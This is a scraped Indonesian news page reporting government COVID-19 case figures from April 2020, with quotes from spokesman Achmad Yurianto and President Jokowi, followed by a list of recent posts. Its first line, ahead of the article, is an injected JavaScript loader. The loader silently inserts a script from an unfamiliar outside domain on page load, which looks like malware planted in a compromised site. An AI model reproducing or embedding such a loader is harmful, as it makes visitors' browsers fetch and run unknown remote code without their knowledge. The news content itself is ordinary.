(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

STOP PRESS. Data Corona RI Dibuka: Jumlah PDP 10.482 Orang, ODP Capai 139.137 Orang


KANALKALIMANTAN.COM, JAKARTA – Gugus Tugas Percepatan Penanganan COVID-19 membuka data orang dalam pemantauan (ODP) dan pasien dalam pengawasan (PDP) Corona di Tanah Air. Total ada 139.137 ODP dan 10.482 PDP.

“Kelompok saudara-saudara kita yang termasuk kategori orang dalam pemantauan sampai saat ini sudah tercatat 139.137 orang,” kata juru bicara pemerintah terkait penanganan wabah virus Corona, Achmad Yurianto, dalam konferensi pers yang ditayangkan saluran YouTube BNPB, Selasa (14/4/2020).

Yuri, panggilan akrab Achmad Yurianto, mengaku ratusan ribu ODP ini menjadi perhatian besar terkait penyebaran virus Corona. Karena ada yang kondisinya tak sakit dan sakit ringan. Sehingga tanpa sadar, ucap Yuri, berpotensi menjadi sumber penularan.

“Ini yang menjadi perhatian besar kita, karena tak menutup kemungkinan dari saudara-saudara kita yang masuk dalam pemantauan dalam kondisi yang tidak sakit, dengan kondisi yang sakit ringan. Sehingga bisa dirasakan seakan-akan tidak sakit dan berpotensi menjadi sumber penularan apabila tidak dirawat dengan baik, apabila tidak segera melaksanakan isolasi diri, karantina diri dengan cara yang sebaik-baiknya,” jelas Yuri.

Dia kemudian memaparkan data PDP. “PDP sampai dengan saat ini ada 10.482 orang.”

Yuri mengatakan sejak Corona ditetapkan sebagai bencana nasional, seluruh data terkait wabah diintegrasikan mulai dari tingkat desa hingga pemerintah pusat.Sehingga dikendalikan oleh satu sistem.

“Pada hari ini setelah ditetapkan sebagai satu bencana nasional, maka seluruh integrasi data yang kita bangun mulai dari desa, kecamatan, kabupaten/kota, provinsi dan seterusnya sampai ke pusat berada dalam satu sistem, satu kendali data, satu jaring data,” ujar dia.

“Sehingga seluruhnya bisa kita lihat dan akses secara terbuka dan bisa dilihat secara lebih transparan,” ucap Yuri.

Sebelumnya Presiden Joko Widodo (Jokowi) meminta jajaran kabinet menyampaikan komunikasi efektif dan memberikan penjelasan yang transparan mengenai penanganan virus Corona (COVID-19). Jokowi tidak ingin adanya kesimpangsiuran informasi di masyarakat.

“Mengenai komunikasi yang efektif, yang memberikan penjelasan-penjelasan secara transparan kepada media, ini harus dilakukan dengan detail dan baik. Jangan sampai banyak berita yang baik tidak bisa disampaikan. Sehingga rasa optimis masyarakat menjadi cenderung masuk ke hal-hal yang tidak positif,” ujar Jokowi dalam sidang kabinet paripurna secara virtual, Selasa pagi.(detik)

 


Desy Arfianty

Recent Posts

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

52 menit ago

Kaleidoskop Kabupaten Banjar 2024 Kemajuan Pembangunan di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

58 menit ago

Hattrick! Dirut PLN Darmawan Prasodjo Dinobatkan CEO of The Year 2024

KANALKALIMANTAN.COM, JAKARTA - Direktur Utama PT PLN (Persero) Darmawan Prasodjo kembali dinobatkan sebagai CEO of… Read More

1 jam ago

BRI Permudah Investasi dengan Fitur Tabungan Emas Digital di BRImo

KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More

4 jam ago

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

16 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

17 jam ago

This website uses cookies.